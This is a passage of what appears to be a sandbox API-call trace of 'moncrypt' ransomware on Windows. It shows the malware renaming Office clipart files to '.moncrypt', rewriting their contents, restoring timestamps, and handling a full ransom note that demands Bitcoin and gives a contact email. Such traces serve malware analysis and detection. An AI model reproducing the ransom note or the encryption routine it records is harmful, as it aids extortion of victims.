lpMultiByteStr=".wmfT\\PUB60COR\\AN00932_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.618] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.618] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.618] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.618] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF", dwFileAttributes=0x20) returned 1 [0059.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.moncrypt")) returned 1 [0059.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.620] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.620] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x385c [0059.620] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.620] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x385c, lpOverlapped=0x0) returned 1 [0059.623] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.623] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.623] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.623] GlobalUnlock (hMem=0x44000c) returned 0 [0059.623] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.623] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0059.623] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.623] GlobalUnlock (hMem=0x440004) returned 0 [0059.624] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0059.624] GlobalUnlock (hMem=0x44000c) returned 0 [0059.624] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.624] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.624] GlobalUnlock (hMem=0x44000c) returned 0 [0059.624] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0059.624] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.624] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.624] GlobalUnlock (hMem=0x44000c) returned 0 [0059.624] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.624] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x3870, lpOverlapped=0x0) returned 1 [0059.624] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.624] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.637] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.637] CloseHandle (hObject=0x188) returned 1 [0059.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.638] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.638] CloseHandle (hObject=0x188) returned 1 [0059.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.639] GlobalUnlock (hMem=0x44000c) returned 0 [0059.639] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.639] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.639] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.639] GlobalUnlock (hMem=0x44000c) returned 0 [0059.639] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.639] GlobalUnlock (hMem=0x440004) returned 0 [0059.639] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.639] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.639] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.639] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.640] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.640] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.640] CloseHandle (hObject=0x188) returned 1 [0059.640] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0059.640] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.640] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.641] GlobalLock (hMem=0x440004) returned 0x550170 [0059.641] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.641] GlobalUnlock (hMem=0x440004) returned 0 [0059.641] GlobalLock (hMem=0x440004) returned 0x550170 [0059.641] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.641] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.641] GlobalUnlock (hMem=0x440004) returned 0 [0059.641] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.641] GlobalUnlock (hMem=0x44000c) returned 0 [0059.641] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.641] CharLowerBuffW (in: lpsz="AN00965_.WMF", cchLength=0xc | out: lpsz="an00965_.wmf") returned 0xc [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.642] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.642] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.642] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN00965_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc14efd00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc14efd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.642] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.642] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.642] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF", dwFileAttributes=0x20) returned 1 [0059.643] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.643] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.moncrypt")) returned 1 [0059.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.646] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.646] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1ba0 [0059.647] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.647] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1ba0, lpOverlapped=0x0) returned 1 [0059.648] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.648] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.648] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.648] GlobalUnlock (hMem=0x44000c) returned 0 [0059.648] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.648] GlobalUnlock (hMem=0x440004) returned 0 [0059.648] GlobalLock (hMem=0x440004) returned 0x550170 [0059.648] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.649] GlobalUnlock (hMem=0x440004) returned 0 [0059.649] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.649] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1bc0, lpOverlapped=0x0) returned 1 [0059.649] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.649] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.660] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.660] CloseHandle (hObject=0x188) returned 1 [0059.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.661] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.661] CloseHandle (hObject=0x188) returned 1 [0059.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.662] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.662] GlobalLock (hMem=0x440004) returned 0x550170 [0059.662] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.662] GlobalUnlock (hMem=0x440004) returned 0 [0059.662] GlobalLock (hMem=0x440004) returned 0x550170 [0059.662] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.662] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.662] GlobalUnlock (hMem=0x440004) returned 0 [0059.662] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.662] GlobalUnlock (hMem=0x44000c) returned 0 [0059.662] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.662] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.662] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.662] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.663] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.663] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: 